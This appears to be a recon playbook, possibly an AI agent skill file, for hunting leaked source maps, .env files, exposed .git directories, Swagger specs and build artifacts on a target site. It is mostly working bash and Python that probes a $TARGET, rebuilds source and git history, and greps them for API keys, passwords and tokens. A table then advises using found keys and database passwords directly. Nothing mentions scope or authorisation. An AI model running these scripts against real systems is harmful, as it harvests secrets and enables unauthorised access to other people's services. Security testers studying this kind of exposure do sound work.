Hunt source code and build artifact leakage — JavaScript source maps (.js.map) reconstructing TypeScript/ES6 source, Swagger/OpenAPI JSON endpoint discovery, .env/.git exposure, webpack chunks with hardcoded secrets, robots.txt/security.txt recon, build-info files, asset-manifest.json API route discovery, .DS_Store file listing. Use at the START of every recon session — these findings often unlock the entire attack surface.
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Source map exposing TypeScript source = see all API routes, auth logic, secrets. Swagger/OpenAPI JSON = complete API surface map.
Highest-value findings:
.js.map source maps — reconstruct full TypeScript/ES6 source code → find hardcoded API keys, internal endpoints, auth logic bypassesswagger.json / openapi.json — complete REST API specification with all endpoints, parameters, auth schemes, and internal route names.env / .env.production — APP_KEY, DB_PASSWORD, API_KEY, SECRET_KEY in plaintext.git/ exposure — git clone the entire source history → all past hardcoded secretsasset-manifest.json / _next/static/ — all JS bundle paths → systematic source map discoverybuild-info / info.json — git commit hash, build timestamp, dependency versions → CVE targeting# These 10 requests take <30 seconds and often yield Critical findings
for PATH in \
"/.env" \
"/.env.production" \
"/.env.local" \
"/.git/HEAD" \
"/swagger.json" \
"/api/swagger.json" \
"/v1/swagger.json" \
"/openapi.json" \
"/api/openapi.json" \
"/api-docs"; do
STATUS=$(curl -s -o /tmp/sl_test -w "%{http_code}" "https://$TARGET$PATH")
if [ "$STATUS" = "200" ]; then
echo "[+] HIT: https://$TARGET$PATH"
head -5 /tmp/sl_test
echo "---"
fi
done# Step 1: Get asset manifest to find all JS bundle paths
curl -s "https://$TARGET/asset-manifest.json" | python3 -m json.tool 2>/dev/null
curl -s "https://$TARGET/static/js/main.*.js" 2>/dev/null | head -3
# Next.js
BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+')
curl -s "https://$TARGET/_next/static/$BUILD_ID/_buildManifest.js" | head -5
# Step 2: For each JS bundle, check for source map reference at end of file
for JS_URL in $(curl -s https://$TARGET/ | grep -oP 'src="[^"]*\.js"' | sed 's/src="//;s/"//'); do
LAST_LINE=$(curl -s "https://$TARGET$JS_URL" | tail -1)
echo "$LAST_LINE" | grep -q "sourceMappingURL" && echo "[+] Source map: $JS_URL"
done
# Step 3: Download and reconstruct source from .map files
JS_URL="https://$TARGET/static/js/main.abc123.js"
MAP_URL="${JS_URL}.map"
curl -s "$MAP_URL" | python3 -c "
import sys, json, os
data = json.load(sys.stdin)
sources = data.get('sources', [])
contents = data.get('sourcesContent', [])
for i, (src, content) in enumerate(zip(sources, contents)):
if content:
path = '/tmp/sourcemap_extract/' + src.replace('../','').replace('./',''). replace('webpack://','')
os.makedirs(os.path.dirname(path), exist_ok=True)
with open(path, 'w') as f:
f.write(content)
print(f'[+] Extracted: {src}')
"
# Step 4: Grep extracted source for secrets
grep -r "API_KEY\|SECRET\|PASSWORD\|TOKEN\|PRIVATE" /tmp/sourcemap_extract/ 2>/dev/null
grep -r "process\.env\." /tmp/sourcemap_extract/ 2>/dev/null | grep -v "NEXT_PUBLIC_" | head -20
grep -r "http://internal\|localhost\|127\.0\.0\.1\|10\.\|172\.\|192\.168" /tmp/sourcemap_extract/ 2>/dev/null | head -20# Common paths
SWAGGER_PATHS=(
"/swagger.json" "/swagger.yaml" "/swagger/"
"/api/swagger.json" "/api/swagger.yaml"
"/v1/swagger.json" "/v2/swagger.json" "/v3/swagger.json"
"/openapi.json" "/openapi.yaml"
"/api/openapi.json" "/api-docs" "/api-docs.json"
"/api/v1/swagger.json" "/api/v2/swagger.json"
"/rest/swagger.json" "/rest/api-docs"
"/.well-known/openapi.json"
"/graphql/schema.json"
)
for PATH in "${SWAGGER_PATHS[@]}"; do
STATUS=$(curl -s -o /tmp/swagger_test -w "%{http_code}" "https://$TARGET$PATH")
if [ "$STATUS" = "200" ]; then
echo "[+] Found: https://$TARGET$PATH"
# Extract all API paths from swagger
python3 -c "
import sys, json
try:
d = json.load(open('/tmp/swagger_test'))
paths = list(d.get('paths', {}).keys())
print(f'Endpoints: {len(paths)}')
print('\n'.join(sorted(paths)))
except: pass
" | head -50
fi
done# Check if .git directory is accessible
curl -s "https://$TARGET/.git/HEAD" | grep -q "ref:" && echo "[+] .git exposed!"
# If exposed, reconstruct repo
# Tool: git-dumper
pip3 install git-dumper
git-dumper "https://$TARGET/.git/" /tmp/dumped-repo/
# Grep for secrets in all git history
cd /tmp/dumped-repo && \
git log --all --oneline 2>/dev/null | head -20
git grep -i "password\|secret\|api_key\|token" $(git rev-list --all) 2>/dev/null | head -30
# trufflehog on git history
trufflehog git file:///tmp/dumped-repo/ 2>/dev/null | head -50# Build artifacts and debug files
DEBUG_PATHS=(
"/build-info.json" "/build/build-info.json"
"/info" "/actuator/info" "/api/info"
"/version" "/api/version" "/_version"
"/health" "/status" "/ping"
"/robots.txt" "/security.txt" "/.well-known/security.txt"
"/sitemap.xml" "/manifest.json" "/browserconfig.xml"
"/crossdomain.xml" "/clientaccesspolicy.xml"
"/phpinfo.php" "/info.php" "/test.php"
"/server-status" "/server-info" "/.htaccess"
"/web.config" "/applicationHost.config"
"/WEB-INF/web.xml" "/META-INF/MANIFEST.MF"
"/package.json" "/composer.json" "/Gemfile"
"/Dockerfile" "/docker-compose.yml" "/.dockerenv"
)
for PATH in "${DEBUG_PATHS[@]}"; do
STATUS=$(curl -s -o /tmp/debug_test -w "%{http_code}" "https://$TARGET$PATH")
if [ "$STATUS" = "200" ]; then
echo "[+] Found: https://$TARGET$PATH ($STATUS, $(wc -c < /tmp/debug_test) bytes)"
head -3 /tmp/debug_test
echo "---"
fi
done# .DS_Store files on macOS-deployed web servers reveal directory structure
curl -s "https://$TARGET/.DS_Store" | xxd | head -10
# Parse .DS_Store to extract filenames
pip3 install ds_store
python3 -c "
from ds_store import DSStore
with DSStore.open('/tmp/ds_store_test', 'r') as d:
for entry in d:
print(entry.filename)
"
# Recursive .DS_Store enumeration
# Tool: https://github.com/lijiejie/ds_store_exp
python3 ds_store_exp.py "https://$TARGET/"# Download and analyze webpack chunks for hardcoded values
# Find chunk files
curl -s https://$TARGET/ | grep -oP '"[^"]*\.chunk\.js"' | tr -d '"' | while read chunk; do
echo "Analyzing: $chunk"
curl -s "https://$TARGET$chunk" | \
grep -oE '"(api_key|apiKey|secret|password|token|key)"\s*:\s*"[^"]+"' | head -5
done
# Also grep for internal hostnames
curl -s "https://$TARGET/static/js/main.*.js" | \
grep -oE '"(https?://[^"]*internal[^"]*|http://[^"]*localhost[^"]*)"' | sort -u
# Check for Base64-encoded secrets
curl -s "https://$TARGET/static/js/main.*.js" | \
grep -oP '"[A-Za-z0-9+/]{30,}={0,2}"' | while read b64; do
DECODED=$(echo "$b64" | tr -d '"' | base64 -d 2>/dev/null)
echo "$DECODED" | grep -iE "key|secret|password|token" && echo " B64: $b64"
done| Source leak finding | Chain to | Impact |
|---|---|---|
| Source map with API key | Use key directly → API access | High/Critical |
| Source map with auth logic | Find auth bypass route | Critical |
| Swagger → internal endpoints | Test undocumented admin routes | High |
| .git exposed | Full source history → all past secrets | Critical |
| build-info with git hash | CVE targeting exact version | High |
| .env with DB_PASSWORD | Direct database access | Critical |
# git-dumper (reconstruct exposed .git)
pip3 install git-dumper
git-dumper "https://target.com/.git/" /tmp/repo/
# sourcemap-explorer (visualize what's in bundles)
npm install -g source-map-explorer
source-map-explorer main.js
# unwebpack-sourcemap (extract all source files)
npm install -g unwebpack-sourcemap
# trufflehog (secret scanning)
trufflehog filesystem /tmp/repo/✅ Source map: reconstructed TypeScript source contains API endpoints or hardcoded secrets ✅ Swagger: JSON contains internal endpoints not visible in UI ✅ .git exposed: git-dumper successfully clones repo, secrets in history ✅ .env exposed: DATABASE_URL, API_KEY, SECRET_KEY visible in plaintext
Severity:
6b9c96e
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